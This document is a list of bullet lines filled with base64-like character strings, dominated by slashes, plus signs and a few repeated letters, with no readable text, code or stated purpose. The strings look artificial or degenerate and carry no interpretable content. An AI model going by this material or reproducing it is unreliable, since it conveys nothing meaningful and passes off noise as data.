- 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
- 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
- r/7x//uv+g9/9R/4T/1ff+o/+D/9yv/ttyQj9t/8/v/bP0sk/Oj//M9+j//w3/3f/9x/8P+kZDvyoL/p
- /7n+x8lz/jv/r//tL/y/yDr963/gP/of/p//7h/4q/7D/+BX/4n/9z/5f/9H/+Cv/pLWiv7nP/FX/Rt/
- J7H6/3X3V/3u//c/+bv8b1NKQ/2ff+X//Qv+wi/+7z/l//6P/8z/gTQsRc5/7v/xG37+B/4H/8vV/3Xv
- //7H/8P/6Opn/s8////+T39bslD/MCUY/8Bf9Sf+n3/5b/t//+v/PkUo/9v/8ttSCElrKb/+f3D4e/xv
- //0v/Xv/7//jN/3f/sV/84/98v/+lf/gX/H8l/6l/yDFx7/tH/jL/sD/7cv/fU0Jy//jd/m//8Z/9ff/
- u/63v/8P/Cd//z/v//xf/sNf/buQcvmb/sH/5Lv/92/5F/5f//5/+uUv/WX/4H/82/5fv+Gf+H//03/g
- //wX/l+/4S/96f+2+uxX/af/95//N/7Sv/I//I//x//7n/+//tH/+z/6G/+vT36Ssiu/4v/6X36P/+wX
- /4P/93/4K3/Tu//XP/ofnv/gl/+q3+N//Rf/7x+/+3//E//g//U//t9/JU0oqaxf///+93+X//uP/hf/
- 7z/3//7v7/6f//Pf+of+Hv979Tv+n3/P70EL3P/F1f/1h5AF3v6//urf9g/8z//D/5ly7//m/3X08R/4
- f/4eV//zxf/xb/+D//Mf+L//SloM/rf/x//9F/+ff/Ef+K/8nf/XP/v7/x9/7v/5G/+D/9HfePZ///L/
- 8H/4D/+v//4P/E///b/3//7lv8v/8if+3w/+wP/ud/ml/+Pv8as++79/2T/431X/W06LMb/q8A/8a/63
- f+F3+V+/93/91v/lP/hf3v0LyTH4X36P//uTX/rv/4fL/+NvpND+//6L7/5f/85/eOdXU97oH/zf/85f
- +s/+/iRRf+r//V/9if/nX/J//+q/8frv+Xt+3/8r/7//l/+w/d//wL////if/9m7//cv/y9+2/9rl4bw
- f+X/5q/4U3+P/+G75Hf9Kb////jgV/8uFMf8b3/m//G//IH/2x/49/6tX/2Nv9//9Wv/h7/66g/8k/6C
- //NX/9+XlF/6maM/7Uui9X9/8Q/+N//sf/if/Y/b/+Qf+L/+h//nr/zv/s/f8P/+rynI/r//u+9hUeg/
- +w//l9/2//hL/u9f8Qf+ql/7l/6PSJj9rb/0//5dHv+9/8evJgvyv/3f7/6n/5JU5b/6B/5fV//X5/83
- rZH9T5//37/r//2f/S6/x6/+d//vv+L3/5/+2f/rP/sH/6/v/p//DS26kn3+v/+wX/7g//gnf+mv+Ler
- v+3/+tX/LPH7r3o9/r/+mH/wv/87y1/wB/7y/+jP/D/+nF/9m/7Sv/EP/E9+j/99fvl//ov/55/4D/7K
- v5CSnc0/+D89+NWHv7T4Ff/Rf/67/Orq//o3f//v/19/zH/7e/yKP/Hv/t8++b//9f/7V/0u/9c/Srbl
- u38hZZj+vepX/4GU+/3nXvyfv/x/xHrAgz/wv/pd/s/P/49/81+kdMx/V/2q3/j/+h//w//4T/0P/+s/
- 8P/+rf/vf+z3+D//y7+CzOTv/6v+w//rT/kD//c/8Vf/vb/yD/w7/8H/7Lvf/Qf/jb/wb/s/Fv/gP/h/
- V5Q5+hf/1X/w+r/8mLy8//Mf/KW/6i/8/f5vWgH/8vv/xz/5T/6B//7/TbneX/YH/nN/7v9NSYS/8P/+
- O//+/5uyF3/vH/h/Vv/nb/kH/lu///9Biuvf//3/t//x//7BP/g//J1/4H/7e/zf/80f+H/9Lv/Xn/Nv
- //7/y//4fxz/g//j71H/b2//j1////7v/ru7/9dv/Ev/k3/wV/+ZlPv8r/7t3+VXvP6//4e/8H/7N3//
- /+N3/L+/87/8pv/nL/td/u9//P/+5+7+LrSo+G9//qdW5E/+rxVlBP5FcpL/zl/8v0z/73/1f/yf/qOK
- Eqa/+r/8Xf6v3/n//tX/9//69/7+n/0DlKv4m//DX/kHHvyf/+Qv/Vf/w//1V/7ff+93/8c/o/rJ//sf
- //3b//LL/+uP/Af/71/83/0H/+D/8St+6b9N6v3P/yf/+bP/9fP/a/sP/N9+l1/5J9Ji6T/4v/2zf+B/
- 8uX/8Yv/gV/xV/4ff8r/Tfz755Pf9Mt/8f/9z/wf/+av+g3/77/59/jPf9vn/+sv/Sd/j1/1L/5v3/sb
- KfH23/6Bv+pf/AP/97u/mpYs/sH/6Ff8C3/i//2f/f3/4S/7Pf6v3/b/+g9+/1/xD/6f03/1H/yVF//A
- //Hv/l9/1z/5B/4Hvwt5mf/c30nc3P7y3/Zn/q8/8Wce/ur7/9ef//tTEvd//BcpC/GrfvX/9R9QJv8P
- pDBw+//6i36PX/UX/t+/7F/4L//IP/Af/w9/1T/9H/7vf+b/9RXpqP/l4v84I3XR/O///e//q36X/+P3
- +Qf/hz/wV/yV//c/8z/+X//6H/if/P7/86/8E/7A//73/9/v/pKjX0XalrLe/9f/9g/+L//k//X7/d//
- 1j9IgdB/8Bf+/b/0f0F0/k/9h//Tb0o+xH/zB/6vf+T//Xv938QMb//P9R/47/3f/8u/+TP/42968IP/
- 5S/86/+vP+v//mV/4zVF2bS08D/+yn/6D/y/vvw/P/8H/+u/8H/6I/+P3/L//sd/l1/2P/6fp//j//VP
- /4f/ye/yf07+lwdH//sXf+o/+Cuv/sD//f+ofun/9Wf+H7/xv/t//zt/4/q//G3/QFpR/Su/+w/+1//6
- P/i/f+///Hcpifn7/x+f/IHnFHr+iRTO/x9vyUT+pb9q8X//sf/gX/e//fl/yq//B/6Pf+nf+H/9yaRC
- vvy//vd/8H9/8L9/8X//Lf/i//UH/4f/6e9B8dg/+Q/+N//3/3Xvl/7rX/53L/4vcp7/7//rr/9f/47/
- 6w8jZP7A//O//gP/iX/wl/25/+df+Q9++StO/9c/8c/7v3/1H/i/Vv/X//h/UFLs36cM9P/9+T/zf/9X
- h3/gf/QPX/3S//sf/G/+xP+j+aX/9T/9j3/5S37p//Xg/377B/7zv+3vQvSu//cvH/+B/9Nf+H/9/n/g
- //IX/srf5f/8Fyn6+r/u/IP/+h/4v9JU/4r/4A/8FX/g//VXfPwH/h+/y//+e/yff8Mf+G/8sv/7f/0T
- /4///A/8j//CX/mf/Yn/99UzMov/919LdupX//7/3P/9p/22f+C/UP2KP/P/vv+v/rL/e+f//Ospb/1f
- /oX/21/9j/+H//fdX/I//rb/52/yf1//r38ghSP/6P/9v/6Rzyn8+6X/x1/7B/7Pv/6//j//Hq//jx98
- 91/8A//j//L//lf+2X//H/xfr37173/0S/7Pv/P//HX/wX//9/jlf+f//Xf8g//53/9H/oH/3R/4f/6V
- /9dv+Qf+q3/s7/+/Xv0ff+x/e/h//2P/811y7f6p6n/5b/+PX0g+4P/2H/6P/+ef/X//x7/L//7H/pV/
- 4P/yD/6vl//jb4vV+t/2T/y/yW3+XX7VX/9//bG//6/8bf/Bn/mf/tU/8J/8X36X/+Oz/+vf+gP/zz/w
- V/25v/SPpBW1X/WH/4P/RPV//v7/1+/4B/6b1a+ekmX+Ff82eS3/x5/9f//blFX/Tf+v//T//r/+m9/l
- f/tv/++/6P/+X/+Dv/B//l3+7z+ZXKtf9Zv+H7/17/9//s3/9z/8u/zP/+3/8bv8gf/57/+//pP/99nv
- 8Sv+67s/+J/+h7/yl/65ZM5/x//7X/gH/6t/8fpX/eov/68/9nf5P36bj//A/+r3p/Dq3/y//9v/8z/8
- lb+M1Oj/+Wfe/QP/2H/wl/+lf/7//b/9Lv/nH/kP/rLf9Jf+yr/1D/xv/0OSgT/j9/gv/0fye/7If/C/
- +O7//ZB0x//8yf/9T/x3/8Hv/z/9T3/l//U//P5vf/nVP/B//aX/1x/7q//Bf/+7//d/c/f/+CP/7//z
- D/yv/9T/e/W3/N+//v/xz/0uv/Lq//j9/sB/5//+ASV4f+Xn/+H/+ef/jWNShf/R3/irmn/wF/9dtLz1
- r/+D//0f+Ms/+b/+iH/wLzr61X/+H/hn/t//x794/af9H7/5P/hf3f0/p7////l//YH/++n/TjrjD/xp
- cu1+2//7X/oPKCb5P/+Q//B//p/+/ep//h3/j7//H/wX/8L/+R/8P/7W7/6Bv/L/+gP/p//x//y7/8L/
- +/QP/I9+///zV9O8/wd3/89/9v/+E3+P/+Iv/NV/7t/yB27/n3/l//h//2MUsf9ffzctQ/yf3/tJSuXS
- SuTJ//1PkDmvKJ2w/hP/r3+n+j8/ITm49wf+Q//jr/49/o9f+H//t//G3/h//At3/6+/8pf+ij/wl3/3
- //zj/8D/+L+6ekcRyQsy0r/896DEOk3GZ3f/rz/2P/yv/sm7lH/+P/7tv/BX/YN/A61M3P1dHv+fvyVx
- x//0J35J+cr/gWTk379L1udf/L//+9/l//4LKXVEHstf+Af+qt////j3/8D//J/+t8mT+D/+hX/wV/yD
- /9ufS/b/V/7bv8v/9jf+n3/GP/jL/vc/8f94/X//n//g//SX/tfV//p2+XceErn/19/l//5N/+9/4i9s
- /88vadn7n/oDf+V/8y/8g//XP/jdP/D//E/+zV9MSugX/IP/2//wr/6B//1v+r//4X/gf/P7/6/T//s/
- /gv/9//tD/y/ql/61375P/4f/9qf/7f+Hr/8H6SUwT//7//f/9m/+3//y//1f/h//fr/4a/+3h/4X/7L
- f+D/8r/8j+Qf/73/9/9891f9+r8t6fP//V/8rb/79/4utLDxv/we//u/+0v/xf/wv/yP/s7//Xf/J//A
- f+M//OV//T/4X/ydv+r3okzaL/vyf/vjf4/f+Zf8il//t/oD/5m7v8ff9Sv/5epXfvx//yu/x3/yi//D
- X/2//ba/32/9f/8jv8ev/vz/fPQP/gv/4//y3//fv+LP/D+//w/+p3/jr/gD/+/f/G/8v/+YP5CzR//U
- 7/8//bb/x3/7f/9n//evotz1//2ryL7/33/Hf/p//xd/4v/9J/4H/+e/+OX/9Vf+hUf/x/9a/aq/9u/4
- O65+6T/9D/5N/w6tif55f+Cvvvt//pa/9K/8/f/Xf/OX/C+/mPIa/wOtw/yL/9uv/Bf+wH/xP/xP/8df
- /d/8j//nH/9//ckUc1z/b7/p//kXU87q81/86/+B//Lv8n/+Xr/0r/wf/8H/86/9A//UP/D/+g//j9/x
- xdGv+nf/7z/nP/wvv/y3KBlFUcl/9eUPaAV391//VR//gf/3P/27/C+U4f7rj2ix5j/9B/+rX/wP/st/
- 6z/4f/8uv/qf/7//9f/wf/9PLn7Bf/9///P/4H/8D+7/X//nP/MP/sr/6n/67v/5D/+B/94/+Pv+zK+4
- +KVvf/Uv+7//qy9/9f/wB/7K6v/6df/vf/bL//PP+ZLSdr/yTz38A3/5/3F4+MfSMsL//d3/6z/4B//b
- //D//Fv/7z/6f/w/fk1S/BRO/yP/4X/0J/5i4tR/lizZg1/9f/y2/+E1qbc/8v/+J//G/+v3ogTRf/+7
- /Orf8v/673+P//Mf/L//6//lP/sHf9Xv/3/9yv/5d/kl//fHf87v8T/+/v/7f/cr/yzKE/0n/yclAP+v
- X/F//0f/9//5e7z7X3/H/+u/+AP/+7/wOPvvwMr/yB/4K6/+t7u/4P/4L//aP/A/+b//r1/8J/5ff97d
- X/p//4+/5P/+N/+e/+sz4qa/9lf9rX/g//Llr/57Kav2f/y2//fb//tX/L13f7//+0/+A//n//F/+r2Q
- SfzT/8F/4/f/n//d//t//r//q3/wV1wc/dkULv5Pdxd/4D/5f1Mu8Df+v/7z3/9XXv3fv+T//nt/j//+
- 7/w/f9Nf+iv+jf/7V/zKF7/0P/2/f9kL8vf/L6LC//WP/Jd/4D/zH/6F/8e9//b3+J//zv/r9Pf4ZRe/
- x//2P1Le4D/7D/+P/+EPfPfLKYr/t36P/+l3/D9/0e/xf/6xv/Qf/wt/+V/7B/7r5LP/o7/H//B7/Hn/
- x/QP/Of/5b/wf/r9Ka/+P/wu//Of/3v8b//d30ij/7v/w//yH/zOH/jH/4H/1Zf/2x/6H/wf/8H//W+T
- BNHy5q/+d//K//u/rf7Xq/9z++L3+D9/j//zV/z+v9//+c//gb/qL/zff/3/6y/+t//CX/Hn//7Nr6x+
- 1d/+f/0V//ejf/t//8//wH/z9//Vb//P3//v/fz3//QP/J///t//f/tv/8/v/oH/x+/xq6t/8Zf+kR//
- in/wV977A/+dP/H//IX/4K/+H//3P/f//M//2D/x//6z/8D//MH/+asv/+9/6P/+T3+PP/CXf+//+Of/
- wH/od/llh//nH0Ge8//2bxK9/jlSjf/Xv/rPf/l//Spi5z/z//yz/8B/5/f/lX/jH/joV/+GfwJNLi1Q
- /hu/y6/8Zz/+J//BP+DP+L9+8Af+w//jr/7Fv/S//Dt/1Z/7B/7TtEz1u/yB/9v0D/xXfv+r/+2f/W3+
- wf/0f/xfD3/m//7yf//byY/8H37b//s//Ad/5T/4K34xTd1/9Hv8L//nP/gr/s3/89/8pf/8X/8X/h//
- 5//13/+D/zclof7Jv+D/+Bv+7//5b/0H/8f/kByX/+V//PMJ///rv/4H/4P/+3/+V//vf/t//F/+zuX/
- /Q/8gf/B//2//73/1y/8A3/Vx//3P/p7tP/bb0r+wH/75/7+//N/8zf+X7/4//6V5OH86n/wL/w//uB/
- kFJ8v/Ef+L9U/9vhf0NLdP/Hr/i//50/8P/4F//Pr/7A//z/vvyf/sn/8w/9v3/FP/ir/8XvU1L6X/9N
- /68/jJZ0/jpKlP63v+mv/tP/wH+fkuj/4P9JZvff/QP/yb/w//w7/++////+L36Xv+n/+i3/rz/1v/n4
- H/glv5LWLv+vv+/3oNQZWZ+/9v/6ZX/i//1fUqj/f/8uf8rv/8t+2//jt/+/f+kv+9X/5+939Tf+jf/X
- H/d7/OX/25c/+Q/+B3/hr/xt/+9/4sv/8f/6x6r//X+9SymJ//H3/z//1+r6V//7f+B/9Cv/j/v/9//+
- +/8vd/+GP/C//1P/7//iH/4fKQvyV/yB/9A/+Mv/xp/5X/7eo//zq3/wf7/7v3/xf/07lF/4P//Sf+NX
- VP/Lv/h//s7/9z/0l/6H/+3/8Sv/j3////6P/tj/8P/6lf/7b/tLz/+PP/UP/If+wv/9b/wHf/VfePSr
- /lxKKf+Vd/+v/+Lu//33/4H/xZ/4v//W//ev/s9+2//r3/0Pf9Un//ff+Pv/r3/s//3X//V/6e//y/9Z
- Uhn/+X//B/5Ph//XmhYd/7f/8P/+a37/6a/+Xf73X/F//6GU8f4D/+pf9nv8p//hr/4H/8B//9//Z//D
- /41U/P/97/6PlBD/ryjI/L/+0X/wv7r63//q3////E3/j7/7D/xH/sD/6+/87Af/89X/efUn/l//K6mB
- //v//L//vf/7f/qV//b/9fb/+uN/Dwrj/9j/+88icfjfP/u//9n/7u7P/O//61/4q5o/8Zf+qj+fVu0o
- Rv2//ubr//l3/Pd+1Z/9+/+Pv+r//gd+xd/7D9Dy6J/8f/+n//v/+L//lv/3v/8f/i9/4q+6+L/+j7/k
- f3vwf//bv8f/cfgP/vL//Q/8wfr/3P/V/0F1/T/9pn/gr/qV/9eL//tf+R9pWfxX/t//3B/4q//D/+Of
- +7//t3/yf/i//+Z/8Ff+3/87yem//gf+yv/lf/zf/rvf/1f/hr8/LSr/X//h//zv/p+/8lfSKsp/88t+
- j//46v/87v9IbsJ/8gf+6r+XcgL/9X9993/7Pca/B9Le/+Qv/ej//Of/rz/zH/zPf9P/vfoD/9N/9T/8
- b/7DX/U9iuB/xX/2V5JH8n//g//3P/9//0Hkl1xRbv1P+j3+6/+G8kV3/68/8q/9/f/P6e/yf/41/+Y/
- +C/e/Xd+VUOLSdmv/D3+tz/y//7jqJv/7Y/9pf/t3/p//zJKfVMG8pf9Lr/q9R/4939O3tWv+Gt/6d9H
- i3D/9+/yf5KW+Rt/xV/0+/2D/1vzf/31f/4/+D9fPf6/vvt//zu////y1/5ff/F/8R9X5BX/m//3P/v5
- H/jP/EpatPsf/sf/+1f/AnJpftX/+L/TUt8/+M/+h5QJ/VfgElO+4f/4xytST//7b3v0q97+gf/37/+/
- /od//7/z7/+q//b//pN/j1/5B/5v/+3/9c/+h//jv/l/r3/p//gr/sL/+T/8v37rP/Af+Qd/RfV//7F/
- 4f/54//3P/eX/t//6//4v/31//ff9k//w3/g//p3/v7/550/8N//t//B//Xf/T/+z9/j//pD/++SLMz/
- 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
